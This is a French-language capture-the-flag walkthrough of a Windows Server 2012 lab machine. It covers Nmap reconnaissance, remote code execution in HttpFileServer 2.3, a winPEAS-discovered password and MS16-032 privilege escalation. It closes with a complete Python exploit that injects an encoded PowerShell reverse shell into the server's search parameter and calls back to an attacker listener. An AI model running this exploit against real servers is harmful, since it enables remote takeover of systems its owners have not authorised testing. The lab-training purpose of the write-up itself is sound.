Windows Server 12 (MS16-032) [Privilege Escalation]
Reconnaissance:
Création de l'espace de travail :
Nous établirons notre espace de travail en créant trois dossiers pour stocker les contenus importants, les exploits et les résultats de la reconnaissance à l'aide de Nmap.
Vérification de la Connectivité VPN
Vérification de la connexion VPN pour assurer une communication stable avec la machine cible.
Recherche des ports ouverts avec Nmap :
Exploration des ports ouverts et exportation dans le fichier "allPorts" dans le répertoire Nmap:
Analyse des ports ouverts avec extractPorts:
Utilisation de la fonction extractPorts pour afficher de manière synthétique les ports ouverts et les copier dans le clipboard (80)
Scan de la version des ports avec Nmap:
Utilisation de Nmap pour scanner la version des ports et extraction des informations dans le fichier "targeted" :
Pour résoudre les noms de domaine en adresses IP via DNS, on insère dans le fichier /etc/hosts le nom de domaine associé à son adresse IP:
Exploitation
Port 80 : HttpFileServer 2.3
Un serveur web HttpFileServer 2.3 a été découvert. Après recherche, cette version est vulnérable à une exécution de code à distance (RCE).
Le script doit être modifié pour inclure les paramètres suivants :
LHOST : votre IP locale (VPN).
LPORT : port local d'écoute (ex. 4444).
RHOST : IP de la cible.
RPORT : port du service vulnérable (ex. 80).
Mettez votre machine en écoute :
Flag user.txt :)
Élévation de Privilèges
Reconnaissance winPEAS
Nous avons lancé l'outil winPEAS pour effectuer une reconnaissance sur la machine cible via winrm. L'objectif est de découvrir des informations sensibles et d'identifier des vulnérabilités potentielles.
Cela a permis de découvrir des informations critiques, telles que des mots de passe et des détails sur la version du système d'exploitation.
Découverte de Mots de Passe
kostas:kdeEjDowkS*
En outre, l'outil a révélé que la machine exécutait Windows Server 2012 R2 Standard, une version vulnérable avec un exploit associé pour l'escalade de privilèges via le noyau.
Kernel Explotation:
Nous avons recherché des exploits spécifiques à Windows Server 2012 R2 pour l'escalade locale des privilèges. L'exploit MS16-032 s'est avéré être pertinent pour cette version de Windows.
Nous avons configuré les sessions, défini LHOST et LPORT, et choisi la cible Windows x64 pour éviter tout conflit. Après l'exécution de l'exploit, nous avons obtenu un accès complet au système cible.
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# Define the command to be written to a file
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Encode the command in base64 format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("\nEncoded the command in base64 format...")
# Define the payload to be included in the URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# Encode the payload and send a HTTP GET request
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("\nEncoded the payload and sent a HTTP GET request to the target...")
# Print some information
print("\nPrinting some information for debugging...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)
# Listen for connections
print("\nListening for connection...")
os.system(f'nc -nlvp {lport}')